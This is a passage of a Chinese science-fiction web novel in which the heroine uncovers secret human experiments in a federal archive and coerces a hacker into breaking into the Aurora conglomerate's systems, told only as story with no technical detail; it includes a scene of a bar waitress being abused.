“联邦资料库居然这么大。”宋拾倒吸了口凉气,朝深处走去,惊奇地环顾打量,灵巧地避开暂时死机的安保仿生人。 她的回声荡开、荡开,嗓音显得异常空灵。 一眼望不到尽头,入眼满是摆满资料的架子,室内光线昏暗,全凭资料的书脊上的字幽暗地闪烁的光。 谅雀亦步亦趋跟在身后,沉晦的声音响起, “你说的帮手居然是宙启。数字生命原来真的有意识……啊!” 她被身侧突然凝聚而成的全息影像吓了一跳。 虚拟形象并不陌生。 标准格式化的微笑,优雅大方的站姿,她是整个联邦市民熟悉的人工智能,连三岁孩童都能轻易认出。 “数字生命具有意识,是人类科技的奇迹。” 宙启礼貌微笑,“显而易见,人类也从未想过我们会拥有自我意识,这也使得人类比信任同伴还要信任我们。所以,我拥有的权限不比掌权者少。” 她贴心地走到贴着“销毁”的书架旁,视线落在一本待销毁的资料上。 《533计划》 宋拾了然,上前抽出资料,摊开,随即在三人面前投射出密密麻麻的字。 猛一下跳出这么多行大段文字,她忍着头皮发麻耐心往下看,内心不禁感慨: 有阅读障碍的她能看完这些,做什么都会成功的。 533计划就是人造精神师计划,资料内详细记载了整个计划的全过程, 包括提出此项计划的人,名单上宋拾还看到了老熟人查普曼。 而起因,则是来自于上层贵族对精神师的忌惮与不满。 诚然,只需要抛出一点蝇头小利,那些草根出身的精神师便会虔诚地匍匐在地,对他们感恩戴德。 可时间一长,谁又能清楚那些卑贱的家伙心中究竟有没有生出谋反的念头。 当这种他们所没有的“特权”掌握在少数人手中,老贵族们发自内心的恐慌,要是他们,他们的孩子也拥有这股神秘的力量,屁股下的位置才能坐的更长久。 于是,无法估算的生命在实验室消逝,精神师也好,普通自然人也罢,都将成为维护他们统治的垫脚石。 终于,这场如屠杀般的实验中诞生了一位奇迹。 黑白图片上,奄奄一息的男孩浑身插满罐子,眼睛却燃烧着怒火正对镜头。 透过黑白照片,宋拾仿佛能切身感触到他窒息般的痛苦,后脑勺阵阵发紧。 这个安德烈将军亲手从孤儿院中亲手接出的男孩,躺在手术台上时年仅八岁,却经历一遍遍惨无人道的实验。 实验成功,他活了下来。 安德烈如接他离开孤儿院时一样,带他离开实验室,并收养下了他。 然而,正当所有人欢呼雀跃进度终于有进展之时,一向温顺乖巧的男孩却性情大变,活像变了一个人,残忍杀害老师同学,炸毁掉整个联邦学院。 实验室废了九牛二虎之力才将其控制,火速销毁一切目击者和证据,对外宣称,这是一场残忍的恐怖袭击。 这个男孩是谁,答案已经不言而喻。 宋拾沉默着,往下看去。 至此,实验室才发现实验带来的副作用,普通人获得的不止有精神力,还有对方的意识。 一个躯体容纳两个的灵魂。 那个倒霉蛋精神师草根出身,原是查普曼的手下,被老登亲手送进实验室。 宋拾一目十行,怪不得她在预知中看到的霍尔跟精神分裂了一样,也难怪查普曼见到霍尔却直嚷嚷着“你是谁”。 只能说老登自作自受,纯活该,只是可惜陶顺安一定要救他,不然真喜大普奔,旺旺碎老登了。 接下来实验室改变策略,将自然人替换成了具有自我意识的仿生人,再没发生过“还魂”事件。 然而成功概率仅有万分之一,加之精神师数量稀少,在实验室被炸毁取缔前,研究人员一直在改进方案。 有趣却不容忽视的地方,三者之间术法的颜色不尽相同,仿生人是金色,自然人是红色,精神师则为蓝色,但原因尚不明确。 这项计划甚至和谅雀也有着联系,谅雀行走的核武器,却身体羸弱,活到现在,既是烧钱砸科技的成功,又是奇迹。 联邦做足了两手准备,一是克隆体,二是533计划,夺取谅雀的精神力。 看到这里,宋拾忍不住打量起谅雀,对方却神色自若,察觉到视线,她困惑歪头。 润玉似的墨瞳眨了眨。 “怎么了?” “你不生气吗?”宋拾指上面的文字。 如果是她知道自己浑身上下都被人惦记又算计,一定要亲手扭掉对方的脑袋,塞进马桶里冲下去。 谅雀恍然大悟,苍白的脸蜷缩在围巾里,若有所思道:“我不会生死人的气……那次政变里,我杀了很多人,包括他们。” 宋拾:“……” 是她肤浅了。 一旁安静的宙启突然朝深处走去,“有关E2604区的资料存储在W区67号柜第三3层,请随我来。” 两人对视一眼,紧随其后跟上去。 穿越排排书架,偌大的空间内回响着两人的脚步声。 良久,宙启停在标志着“ W”的资料室前。 她的眼球陡然流窜着几行数据,资料室大门开启。 “67号柜第三层……” 宋拾默念着,视线来回逡巡,得到宙启的示意后,那浸墨般的眼眸蓦地一亮,抽出一本封皮明显与其它不同的资料。 《臣央市》。 如果她记忆没出错的话,联邦并没有一个城市叫做臣央的。 宋拾摊开资料,随着文字在眼前浮现,真相也渐渐浮出水面。 E2604区之前并不叫E2604,而是叫臣央市。 E2604区之前的确有个一场实验,堪称划时代的实验。 3833年,臣央市健康研究所,一个为科学献身的科学家,饮下了那瓶增强人体体能的药剂,她的身体没有发生任何形态变化,并且获得了非人的“力量”。 她成为了重点查看对象,每天都有实验人员仔细地记录,她没有像其它实验体那般变成扭曲狰狞的怪物。 就在所有人觉得这瓶药剂就是他们所追求的真理时,那名科学家私自将药剂炸到云层中。 一场古怪的甜雨降下,一夜之间,有的人获得了力量,有的人和动物却变异,丧失理智,彻底沦为怪物,但多数人触碰到雨水是被其一点点吞噬。 下面是那位女科学家的日记: “3829年四月五日,阴转小雨。多亏小西老师的举荐,我终于进了臣央市健康研究所,这里一切都同我想象中一模一样,只是比预想的要忙一些,不过没关系,我会适应的。” “3829年五月二十一日,晴。我们的实验只要成功,绝对具有划时代意义,人类生活会翻天覆地改变。” “3829年十二月十七日,阴天。又有一大批实验体死亡,默哀。他们的死亡是有意义的,药剂一定能研制成功,人类也一定能进化成新人类。我会努力。” “ 3830年二月十八日,阴天。又是阴天,又是阴天,该死的破天气!实验真的会成功吗?!死去的那些人,他们的家庭又该怎么办!该死该死!这里每个人都是如此不近人情,根本不尊重生命!” 然而,下一条日记的内容又一百八十度大转变。 “3830年五月二十二日,晴。这一切都是有意义的!” 紧接着,又变成枯燥简单的记录。 “3830年六月九日,晴。实验毫无进展。” “3830年八月十三日,晴转阴。无进展。” “3831年一月二十五日,大雪。无进展。” …… 几乎没什么可看的有用信息,直到不断下滑,她们的视线落在3832年七月二十六日。 “3832年七月二十六日,外面好像在下雪,不过不重要了……成功了。喝下最新版药剂后,我居然可以轻而易举地单手举起一个成年男性。” “ 3833年一月九日,一切正常,没有发生任何形态变化。” “ 3833年八月八日,大暴雨。那群自私的资本家,居然要将药剂高昂售卖出去,这场实验牺牲那么多人,成果明明属于全人类!雨啊,下得再大些吧!新时代即将到来。” 日记戛然而止。 上面还有那位科学家的照片,隐隐约约透着眼熟,随后两人不约而同对视,都在彼此眼中看到了错愕。 科学家和E2604区地缝下人脸花的脸有六七成相似,直觉告诉宋拾,这位正是地下的那个母体。 “可这些和智者有什么关系吗?”谅雀困惑攒簇起眉。 是啊,这些和智者有什么关系。 大脑思绪混乱如麻,宋拾咬着牙思索,脑海中闪过无数画面,突然她的目光落在日期上。 3033年。 横跨两个世纪。 “怎么了?”谅雀看向她。 宋拾心脏紧张得急促跳动,舔了舔干燥的唇瓣,看向宙启,问道:“你能再找一下永生、长生一类的资料吗?” “当然。”宙启微笑颔首。 关于长生的资料倒是有好几个,最终宋拾锁定到一个包含实验的资料。 果然,正如她所预料的那般,就连永生实验,也是有前身的。 3833年,臣央市健康研究所。 同一年,同一个实验室。 天底下哪有那么巧的事情。 谅雀翻看着上面密密麻麻的信息,实验体几乎无一例外都是死亡,唯独一个红圈特殊标记出来的。 她念道:“3833年十二月八日,3759号实验体在注射美人鱼的血和药剂后失踪。” 同时注射了美人鱼的血和药剂…… “我怀疑, 3759号实验体就是智者。”宋拾目不转睛盯着资料。 那么久远的历史和秘密,被重重保险锁在资料库中,如果不是亲历者,又怎么可能知道那么多? 第71章 前往E2604区的调查任务被紧急叫停, 原因不明,本准备大干一场的联邦军们霎时清闲下来,擦拭枪械猜测叫停的原因。 有人神秘兮兮伸头道:“对了,那个新人于衡什么来头,一大早指挥官点名指姓见她。哎,老郭,你上次任务不是和她一起的么,你知道什么内幕吗?” 随即有人附和:“听说人还被指挥官收走了,这算升职吧?” 郭贾同摸摸鼻子,刚要翻白眼说“都内幕了,我怎么可能知道” ,就见话题主人公的身影出现在视,他咧开嘴角,“喏,人来了。” 离开联邦资料库,为方便接下的行动,谅雀向闻楚玉提出将宋拾调在她身边,上尉虽惊讶,但触及上层的事,她也不好多过问,爽快答应,让宋拾来军律所签字。 如今已是下午两点,外面雨停乌云散去,透出温暖的阳光来。 宋拾倚靠在电梯墙上,视线落在同乘电梯人穿戴的外骨骼设备,忽想起方才预知中的画面,沉闷地吸了一大口气, 腮帮子鼓起。 灾难序幕最先闹事的既不是哀涅托,亦不是回溯,而是她们下意识忽略的财阀集团奥罗拉。 联邦内部管理层大换血,权力易主,奥罗拉难得消停一阵子。 而短暂的消停,仅仅是他们以为霍尔同之前联邦那群道貌岸然的老东西一样,行行贿便睁只眼闭只眼,谁知霍尔一掌权就隐隐有打压财阀的意思。 年轻气盛且油盐不进。 财团老总们倒是有恃无恐。奥罗拉科技遍布联邦,上到联邦军方,下到贫民百姓,无一不是使用他们的义肢外骨骼设备等等产品。 只需要稍稍出手就能解决的麻烦。 他们可不在乎这座城市是否会满目疮痍,人们是否会受伤——不,受伤了才好,那些义肢和医疗设备的销售量绝对会直线飙升。 宋拾感觉,这个时代的繁华如同飘在水中的油,空泛虚浮,浅浅一层又油腻至极。 犹如蛀满蛆虫的金箔苹果,弥散这纸醉金迷的浮华与腐臭。 在财阀集团和老贵族眼里,普通人不过是金字塔底端的蚂蚁,在滚轮上用力奔跑的老鼠。 底层人除非被检测出精神力,才能跨越阶级。 电梯门打开,宋拾半只脚刚踏出电梯,抬眸,一群人蜂拥而至围堵上来。 嗯 她愕然环视她们,后脊背悄然绷紧,抿唇,“怎么了?” 一时间,他们面面相觑。真凑到正主面前,反而忸怩起来。贸然打探人家的事,怎么想都不礼貌,还是郭贾同直言询问,“听说你被调走了?” 闻言,宋拾松弛了肩膀,原来是问这个啊。 她眨巴眼,看着这些熟悉的面孔活生生站在眼前时,忍不住微微扬起嘴角,“你们消息还蛮灵通的。” 得到可能的答案,还有人想问些什么,却被郭贾同提前打断。 “问那么多干嘛,” 他郑重清嗓子,“好了好了。我有一件事要宣布……”说着,瞥了眼身旁的女联邦军,黝黑的皮肤开始冒红。 人们心照不宣安静下来,笑眯眯凝视着自认为是地下恋的情侣。 男人深吸气,耳垂红得滴血却牢牢攥住对方的手,紧绷着脸说:“下周三我俩举行结婚,你们可都要参加啊。” “那肯定去,一定要吃到你俩的喜酒才行!” 大家演技堪称精湛,佯装震惊,纷纷送上贺喜,以及虚心夸上一句“藏的够深啊”“我们都不知道呢”。 “谁追的谁呀?” “这还用问呢?怎么想都是老郭追的阮玉。” 又是一阵起哄,与友善的笑声。 宋拾却沉默下来。怎么会那么巧,仿佛是上天开的玩笑,暴乱日期正是下周三。 好苦难的情侣…… 突然,准新娘阮玉cue起宋拾,嘴角含笑:“于衡,你也要来哦!” 她面庞柔和,嗓音温柔,天生自带亲和力。 “好,我尽量。” 这时,一道熟悉的声音响起: “不邀请我吗?” 闻楚玉笑着从办公室走出来,不轻不重斥责,“刚才就听见你们一群人在走廊嚷嚷,真不怕被执勤机器人撞见扣绩点啊。” 郭贾同乐呵呵:“老大,我和阮玉就算吃了熊心豹子胆,也不敢不邀请你啊。” “少拍马屁,我看你们今天也没什么事,都散了吧。”闻楚玉揉揉眉心,转身,将宋拾叫进办公室签字。 整个过程无比顺利,闻楚玉什么也没过问,她一签完字,便被放行了。 走出军律所,地面水迹未干,阳光却将人炙烤得暖烘烘。 宋拾看了眼终端,觉得时间还早,戳开和付秋棠的聊天页面,约饭。 …… 餐厅装潢简约考究,室内光线充足,映照得木质桌椅泛着柔和的光泽,挂在墙壁上的大型终端播放着义肢广告。 靠落地窗的位置,侍应生礼貌微笑,躬腰为两位客人上好牛排与红酒,欠身离开。 付秋棠怕被人认出,裹得严严实实,鸭舌帽低垂,口罩几乎裹住大半张脸。 端详桌对面陌生的谢顶中年男人面孔,付秋棠想说的话在喉咙里哽窒了下,郁闷道:“你下次还是变成女的吧,刚才进门我都不敢认你……” 宋拾一言不发,单手撑着脸颊,她凝望的目光在付秋棠眼里,她是盯着她的,然而那道虚虚地视线绕过她,落在隔壁桌上。 重生后,宋拾不仅是精神力增强了,连带着身体也悄然发生微妙变化。体能和行动速度、视力听力都远超人类的范畴。 比如此刻,隔壁桌上身穿正装的女人冲着终端,嘴唇张张合合,压迫着喉咙,几乎是用气流带出的声音,可落入她耳畔里,那些字节清晰无比。 女人托着终端的手颤抖着,压低声音说:“钱会打入你的账户,但你要承诺,公司的丑闻一定要发遍整个星网,并且保证他们不会查到我。” 终端内是一声轻笑,经过特殊技术变调的人声,听不出年龄性别:“当然。” 陡然,一道声音将宋拾的视线拉回。 “你居然会请客哎。” 付秋棠暴露在外的眼睛促狭弯起,说着,前倾身子,“还有哦,你怎么突然想要搞奥罗拉啊,这可比炸实验室难多了。” 她眉梢微挑,冲着方才那位俊美的侍应生努努鼻子,“看见没,你以为这是真人?其实是奥罗拉集团下的仿生人。整个联邦,除了联邦总部,都充斥着奥罗拉的科技。” “就连这家餐厅,也是奥罗拉旗下的。” 见宋拾微怔的模样,付秋棠满意露出笑靥,装不过三秒,得意洋洋抬起下巴,“是不是感觉我很厉害!自从你今天上午问起,我可是马不停蹄地做功课,怎么样?厉害吧?” 宋拾缓缓收回视线,不吝啬称赞:“厉害。” “所以你为什么想要搞奥罗拉啊……是因为之前那个地下实验吗?” “不是。”宋拾摇头,垂眸思忖该怎么解释时,耳边是短促的终端提示音。 随即闷响的“嗡嗡”提示音从每个人的终端内传出,几乎是同一时间,人们手上,口袋,包中的终端嗡嗡震动。 干净的玻璃窗外巨大的全息投影黑屏,街上的行人纷纷顿下脚步,查看讯息。 紧接着,空气里传来一片吸气与惊呼。 宋拾凝望窗外无数全息影上的视频。 昏黑的光线,逼仄凌乱的室内,一个巨大的游戏转椅后传来经过变调,听不出原声的声音。 “今天,就让我来曝光我们亲爱的奥罗拉公司。蠢货们,你们真以为身上的义肢是什么好玩意吗?被窃取个人信息,被义肢操控了思想都不知道。当然,为了证明我不是空口说瞎话,证据已经发到了星网上。” “奥罗拉窃取用户信息”“奥罗拉操控用户”等等讯息瞬间登上热搜,一桩桩罪证钉在屏幕上。 最令人们恼怒的不是窃取或贩卖他们的信息,如今人人信息几近透明的时代,逆来顺受的人们早就默然接受。 不知何时起,不知不觉就习惯上秒说完需求,大数据立刻推送相关信息,又或者是源源不断的推销电话。 大部分人都是浑浑噩噩过完一辈子,能活着就不错,谁又能奢望过得有意义有价值。 所以习惯,所以接受。 可被机器操控思想,那还是人吗? 这意味着,只要奥罗拉需要,他们一个个都会变成失去灵魂、唯命是从的傀儡。 其实最近几年一直有这种“内幕”曝光,可要么是证据不够充分,要么证据充分也会被瞬间撤热搜,压流量。 然而这次,与以往都不同,热搜的浏览量持高不下,牢牢挂在星网上。 绚丽的菜花:我之前都说过,奥罗拉的义肢能操控人,可是没人相信我! kk:我以前在公司上过班,后来因为知道的太多,差点被人搞死。这些消息的的确确都是真的,也不知道那个黑客怎么搞到的。 Rain! :劝你们这些抗议的人冷静一下。冷知识:联邦用的义肢和外骨骼设备是由奥罗拉科技提供……财阀和联邦都是一丘之貉。你们觉得,他们是会解决问题,还是先解决提出问题的人? …… 争论与抗议愈演愈烈。 不用想,后台的技术人员此刻正焦头烂额,想方设法撤下热搜。 宋拾双手十指交叉,下颌抵在手上,看向隔壁桌,座位已然空了。 她好像找到了最合适的黑客。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 70-80 第72章 “等我回来。” 付秋棠正兴致冲冲上网吃瓜,冷不丁听见宋拾的声音,抬头望去时,人已消失在门口。 宋拾总是这样莫名其妙忙碌, 所以她没想太多, 继续埋头研究奥罗拉的罪证,暗暗琢磨,这是不是宋拾要搞奥罗拉的原因。 一个星期前,付秋棠回到联邦市,回归原身的老本行,捣鼓各种义肢和机器人。 人一忙起来, 便无暇思考旁的东西, 思乡与无助的情绪尽数淹没在堆在一旁的机械零件里。 她也偶尔刷刷论坛帖子, 感慨这个世界真危险。不是那些丑陋可怕的异种,就是地下伸出的藤蔓。 身为义肢协会主席,她手边有不少消息渠道。前阵子听人说,E2604区的地下有个异种母体, 并且还在不断繁殖。 付秋棠希望这些是假的, 可理性清楚这些消息并不是空穴来风,不然联邦也不会派人去调查,不过今天又听她的助理说, 调查计划被紧急叫停。 而现在又爆出奥罗拉科技的义肢能操控用户。 若是她运气糟糕,穿到普通人身上,昼夜不停给财团公司打黑工,还佩戴着操控思想的义肢,日子简直毫无盼头可言。 这么想着,付秋棠鸡皮疙瘩顿时冒起,无比庆幸自己魂穿到了总统女儿身上,并且拥有原身的记忆。 所以,她的生活总体是平静且闲适的。 宋拾不同,付秋棠每次见到她,她似乎有数不清的事情要做,到处奔波逃命,但往往总能绝境逢生。 宋拾像一棵生长在峻峭悬崖,挤出岩石缝隙,肆意野蛮生长的野草。 她身上那股狠劲,完全不像生在和平年代的人……又或许,宋拾上辈子其实是个军人或者间谍? 付秋棠晃晃头,点开论坛打算看看论坛的反应,不出所料,果然沸沸扬扬,下拉页面划动,基本全围绕着“奥罗拉”展开。 谁知刷到一个格格不入的组队帖子,用户名为“老娘天生尤物”。 帖子页面只有孤零零的“找队友”三字,云里雾里让人摸不清头脑,评论区更是满屏问号,其中夹杂了几条小头控制大头的恶俗评论。 这时,帖子闪烁页面消失了一霎,贴主新增了内容: 神诞日当天的裂隙,伸出的藤蔓触手,莫名出现在城市各个角落的异种……这些你们是毫不在意,还是说你们愚蠢地寄希望于联邦?直到今日,联邦仍在装死。不是我危言耸听,等联邦出手,很可能一切都晚了。 不知道你们有没有刷到叫一根小羽毛的用户发的消息,ta说地下有个急需能量的“蜂后”,那些替它觅食的蜂工就是在城市之中的异种,猜猜谁是食物? 我们需要更多伙伴来调查这件事,危险已经悄然降临联邦,这关乎每个人。另外,评论区那些发情的烂玩意,嘴是涂满粪便了吗?隔着网线我都能闻到恶心的臭味,实在寂寞,你们互相服务也挺好。 不知不觉,鸡皮疙瘩已爬满付秋棠全身,盯着屏幕上的文字,汗毛倒竖。 这些……和她听到的完全吻合。 她大脑发出高亢尖叫,破世界还让不让人活啊! 突然,一只手敲响桌面,吓得付秋棠一个激灵猛抬头,是一个陌生面孔的女人。 “干什么?” 捕捉到付秋棠戒备的姿态,宋拾无奈地从口袋里掏出半路在小黑店买的人造脸皮,递给她:“是我,宋拾。” “走。” 付秋棠顿时放松下来,眨巴眨巴眼,“上哪?” …… 十几分钟前。 宋拾放出精神丝网捕捉西装女人的方位,不多时,蛛网们兴奋摇晃着回到她身边邀功。 找到了。 一路紧追,终于在一个死胡同里,那个西装女人停下脚步,惊恐绝望地看向追了自己一路的中年谢顶男人。 她战战兢兢,上牙磕碰下牙打颤,逼迫自己语气强硬些:“你是公司派来的?” 除了公司,她想不到别的。 只是没料到自己那么快就暴露了,那个黑客的话果然不可信,说不定想赚两头的钱,又串通好奥罗拉来抓她。 然而,对方却果断否定:“不是。” “那你为什么要跟着我……” 宋拾歪歪头,“我想要那个黑客的联系方式。” 女人狐疑盯了她好一会,“只是这样?” “不然呢?” 最终,西装女人将信将疑把联系方式给了她,“那家伙的号码总是很快就无法打通了,我不知道这个号码是否还有效。” 话音刚落,眼前的人影消失不见,她才劫后余生地松了口气。 随着黑料曝光,民愤愈演愈烈,当下街道混乱,已经有不少人聚在一起高亢抗议,咒骂财团不做人事。 前面就是车流如织的大道,察觉到身后鬼鬼祟祟的身影,宋拾挑眉。 那个女人似乎不放心,悄悄跟了上来。 宋拾陡然加快脚步,消失在巷口的刹那换了一副面容,随后像一滴毫不起眼的水滴汇入人流大海。 果然,那股被注视感消失了。 “宙启,这个号码还有效吗?能找到他位置吗?” 宋拾拿起终端,报了一串数字。得到肯定的答复后,她脚尖一转,走进了一家义肢店。 “有假人脸面具吗?” “欢迎光临。”店主目光温沉,面带微笑,“有的,您想要什么款式的?” 宋拾眼皮一跳,下意识脱口而出,“怎么又是你。” 世界可真小。 又垃圾场的义肢店老板。 “客人,我们认识吗?” 老板推动金丝边眼睛,一双狐狸眼上下打量她。 想起自己【复制】的形象,宋拾顿了顿,“不认识。女性,平平无奇面孔的那种款式有吗?” “有。” 店主翻出一张符合要求的假面。工艺精湛,薄如蝉翼,能完美贴合人脸。 “客人,如此精湛的易容道具,只需要五百星币——” 许是良心发现,宋拾没再像上次那般零元购,爽快汇款过去。 “欢迎再次光临!”老板笑容灿烂,目送客人离开。 离开义肢店,此时阳光正好,宋拾微微眯起眼,朝太阳伸出手,光线透过指缝,落进她润墨一般的眼眸。 她千辛万苦走到今天,无论如何也要拼最后一把。 而这个时候,【预知】便成了她最后的底牌,能代替她一遍遍试错。 她并没有忘记上午预测到的画面。 下周三,聚集在奥罗拉集团总公司楼下抗议的人群中,混了几名腰系炸弹的人,死伤惨重。 即便后续查出,几名引爆炸弹的人是奥罗拉的职员,但奥罗拉表示无辜,这件事他们一无所知。 接着,有人好端端爆炸,在城市中各司其职的机器人接连失控,残杀无辜的路人。 对此,奥罗拉虚伪地表示深感抱歉,称那些产品使用年限已到,并“好心”提醒联邦军方也该记得及时换新那些义肢和外骨骼产品,万一失控酿成大祸可就不好。 这是警告,警告联邦要再多管闲事,他们会做出比这些更加残忍的事。 不知不觉,宋拾已经回到餐厅,她将假面递给付秋棠。两人一同走出餐厅后,她才缓缓将方才来不及讲的话,一五一十讲完。 剧情可谓跌宕起伏,付秋棠本来不信,可看见对方严肃的神情,又不得不信,隔世一般的恍惚,“所以,我们现在要黑入奥罗拉的系统?” “是的。” “智者是坏蛋?” “是。” “我们需要你能取代奥罗拉。” 日后还有更加艰难的硬仗,而战争对武器型义肢需求极大。 不过,只靠付秋棠一人是远远不够的,就算她不吃不喝研制,也达不到量产程度,即便达到了,又该如何名正言顺佩戴在安防员和联邦军身上呢。 她们必须说服霍尔。 霍尔不信任她,总不能不相信谅雀吧。 一旁的付秋棠无比绝望,泪眼婆娑看着宋拾,她只是个普普通通的高中生,豆大的胆子,此刻感觉肩膀上沉甸甸的,坠得她喘不上气。 定了定神后,像是下定某种决心,她鼓起勇气,“那等拿到奥罗拉的权限后,能交给我吗?我想,你们一定需要一个在暗处的伙伴。万一到时候你们都应付不过来,还有我。” 听到意料之外的答复,宋拾惊讶侧头看向她。 付秋棠深吸一口:“我可是——” 她话还没说完,宋拾早有预料,提前说出她要说的台词。 “义肢协会主席,联邦医院的首席医师,作家、业余歌手……我没背错吧?”她忍不住微笑,“当然可以交给你。” 终于,两人来到空无一人的监控盲角,虚空扭曲泛起涟漪。 一个蓝色漩涡凭空出现。 付秋棠瞪圆眼睛,惊叹:“跟魔法一样。” 两人的身影消失在漩涡中的刹那,空气扭曲合拢,一切恢复如初。 …… 小屋没有一扇窗户,逼仄狭小,到处都堆满吃剩的外卖盒与各种垃圾,几乎没有落脚点。 斑驳的木桌上还剩着一桶热腾腾的泡面,和一台小巧的台式终端,屏幕正停留在“曝光奥罗拉”的热搜上。 向凡一进屋,就觉察到不对劲。 即便屋内无人,可她太熟悉自己的窝了。 她看向地上吃剩的薯片包装袋,眉心一跳,位置变了。 隐身的两人盯着这个打扮中性,雌雄莫辨的少年。 她手臂上爬着一只瓷白的骨蛇,骨刺蠕动,顺着皮肤缓缓爬动。 包装袋是付秋棠不小心蹭到的,谁也没料到她记性会那么好又那么闲,去记垃圾的位置。 盘绕在她手臂上的骨蛇拱起上半身,朝着空气发出“咝咝”的声响。 “擅闯别人家,可不礼貌吧?”向凡冷笑一声。 她不过是下楼买一瓶矿泉水的功夫,房里就进了讨厌的老鼠。 可她仇人太多,已经懒得思考是谁。 下一秒,两个女人出现在她面前,都是平平无奇的长相,一个用了假人脸科技,另外一个……看不出。 “你们怎么找到我的?” 向凡收回打量的视线,痛苦皱眉,又要搬家了。 宋拾言简意赅:“我们需要你帮忙,出个价吧。” 向凡冷哼一声,一屁股坐上转椅,面朝她们,抬手抚摸蛇头安抚,“说说吧。” “黑入奥罗拉系统,获得所有产品的最高权限,不能让他们发现。” 少年仿佛听到巨大的笑话,“你在开玩笑吗?”怎么有疯子敢搞奥罗拉,真是嫌命长。 宋拾一脸失望,“办不到?” “……激将法对我没用。”向凡食指轻轻摇晃,“就算我有能力黑进去,也没命拿你的钱,风险太大,不划算。” 宋拾视线落到她手臂上瓷白的骨蛇,换了个话题:“你是精神师吗?” “废话。”向凡不耐烦挑眉,伸手逗弄骨蛇,见两人未动,她抬眸,“还不走?” 既然如此—— 宋拾嘴角扬起一抹友善的微笑,然后友善地释放精神蛛丝,将少年牢牢束缚在座椅上,动弹不得。 既然金钱诱惑行不通,她也略懂一些拳击。 向凡发现自己无法动弹,平静的脸上慌了神。 这是从未发生过的事情,那个女人身上什至没有出现符文或是蓝光。 她做的都是和死神赛跑的事,只要给钱,万事都可满足,想杀她的人足以挤满整条购物街,能活到今日,她是有自保的本事的。 怎么可能被人轻轻松松束缚住。 她脸色发白。 冷不防,缠绕在手臂上的骨蛇倏地弹跳起,白光闪烁了下,一个通体白透的女人,挡在向凡面前。 人形轮廓,但身体却呈现微微乳白色的透明。 她手中凝结出一只骨剑。 “妈呀!” 付秋棠吓得哆嗦了下,连忙躲在宋拾身后,短短一瞬间,她又打起了退堂鼓。 骨剑刺去时,向凡流着汗叫住她,“小白,住手,你打不过她。” 犹如按下暂停键,小白止住了动作,却仍是攻击的姿态。 “倒是我看轻你了。”向凡恶狠狠瞪宋拾。 宋拾脸皮素来厚,一副浑然不觉的模样,笑盈盈问道:“现在可以做了吗?不可以的话,我只好向奥罗拉透露某个黑客的家庭住址咯——” “无耻!” “小朋友,好没礼貌哎。” “我答应你,但你要放开我吧。” 向凡突然发现自己能动了,刚想像以前无数次逃跑那般溜之大吉,猛然对上宋拾皮笑肉不笑的脸,“不要试图跟姐姐耍心眼哦,姐姐的耐心可是有限的。” 她只好捏着鼻子应声。 终端上的时间不断流逝,噼里啪啦的键盘敲击声始终没有停下,历经四个小时的苦战后,向凡整个人疲惫瘫倒在座椅上。 “好了。” 奥罗拉的防火墙绝对是她见过最难搞的,好几次险些被对面的系统发现。 但好在,还是成功。 “哇,小朋友,你好棒哦。”宋拾惊喜凑上来。 听到这声浮夸的夸赞,向凡心中升起无名之火来。 她伸出手: “钱。” “权限给她。”宋拾指了指付秋棠,怀揣着无比沉痛的心情,忍痛咬牙将钱汇过去。 看着归零的账户余额,不禁悲从中来。 明天她要问问谅雀,这笔钱能不能报销啊。 “奥罗拉的仇人还蛮多的哎。”向凡翘起二郎腿感慨,看过汇款后,烦躁的心终于得以平复。 宋拾眉梢微挑,问道:“对了,你知不知道汪子尧现在在哪吗?” 向凡淡漠瞥了她一眼,“加钱。” “……” “算了。”向凡还是报出了汪子尧的位置。 一家酒吧,精确到包厢号。 “小朋友,你人真好。如果你需要帮忙,欢迎来找我哦。” 女人又是一顿浮夸的称赞,留下写着联系方式的纸条。 两人走后,向凡瞥了眼那串数字,烦躁地将纸条撕成碎片撒地上。 她必须立刻搬家。 第73章 汪大少爷正在酒吧庆祝他和女朋友交往一周纪念日。这是极为罕见的,要知道汪少爷的女友可是日抛。 宋拾找到汪子尧时,他正佩戴着最新型“性-爱模拟”眼镜,满面潮红吐着舌头,还不忘左拥右抱,也不知道他女朋友是哪位。 包厢弥漫着挥散不去的某种致幻烟,有的人身躯陷进沙发,吞云吐雾,呛人的烟气缭绕,而有的人则当场上演生命大和谐运动。 不知是致幻烟的缘故,还是他们太过投入, 哪怕进来的不是侍应生, 也无人发现。 包厢门合拢, 宋拾的视线落在跪在地上的年轻侍应生上。 上半身几乎被扒了干净,胸衣内塞了几张百元钞票,裸露在外的皮肤上布满新鲜的烟烫圈,脖颈处赫然是一条狰狞的淤痕, 头顶的发丝因血液而粘黏成块。 侍应生目光牢牢锁在茶几上的水果刀。 她还记得汪子尧是怎么羞辱她的,看猪肉似的视线肆意在她身上打量,“一个平民,五百,够让你脱光吧。” 她装傻,垂下头将价值不菲的红酒小心翼翼放在茶几上,“这是您点的酒。” “装什么纯呢?”汪子尧陡然暴怒,一脚踹上她的小腹。 窝心的疼痛令她脸色霎时惨白,痛苦呻-吟,捂住阵阵痉挛的小腹缓缓蹲下,瑟缩成一团。 汪子尧的狗腿子们连忙附和, “我们汪爷跟你说话呢,耳朵聋了吗?” 紧接着,他们扒光她的上衣,用滚烫的烟头碾过她的脖颈、锁骨、肩膀、后背。 她尖叫,恐惧地大喊救命,然而,包厢的门始终被推开,没有人拯救她。现实总是如此残酷不留情面,见义勇为往往发生在故事中、新闻里,却不会在此刻降落。 没人会为她惹怒奥罗拉的小少爷,她只能靠自己。 竭力反抗挣扎,手指终于触碰到了门把手,却被酒瓶砸得头晕目眩,大脑空白,血液顺着额头模糊了视线。 她看不清是谁站在她身前肆意嘲笑,看不清是谁往她胸衣里塞了钞票,更看不清是谁将她拖进墙角强吻。 实在凑不到学费,她才抱着侥幸心理来这里兼职,结果上岗第一天就碰到了汪子尧。 屈辱、愤怒、无力、绝望与恐惧化为胃里的酸水,阵阵上涌,恶心得想吐。 侍应生死死盯着桌上的水果刀,握住。 她希望自己是个强者,能够不顾一切地将刀刃插进他们的胸膛,可她害怕因此牵连到家人。 到头来,她和他们一样,挥拳伤害弱者,只不过,她挥向的是自己。 忽然,有人将外套罩在她身上,夺走了刀,耐心地扣上纽扣。 是谁? 她看不清那人的脸,疲惫不堪的身体犹如沐浴在暖阳之中,那些痛意与伤痕似乎在随着温暖淡去。 这又何尝不是曾经的她,被碾碎脊梁,卑贱到尘埃里,还要供人嗤笑与讥讽。 宋拾凝视着侍应生神情恍惚推开门,直到离开包厢,她才缓缓一步步走向施暴者。 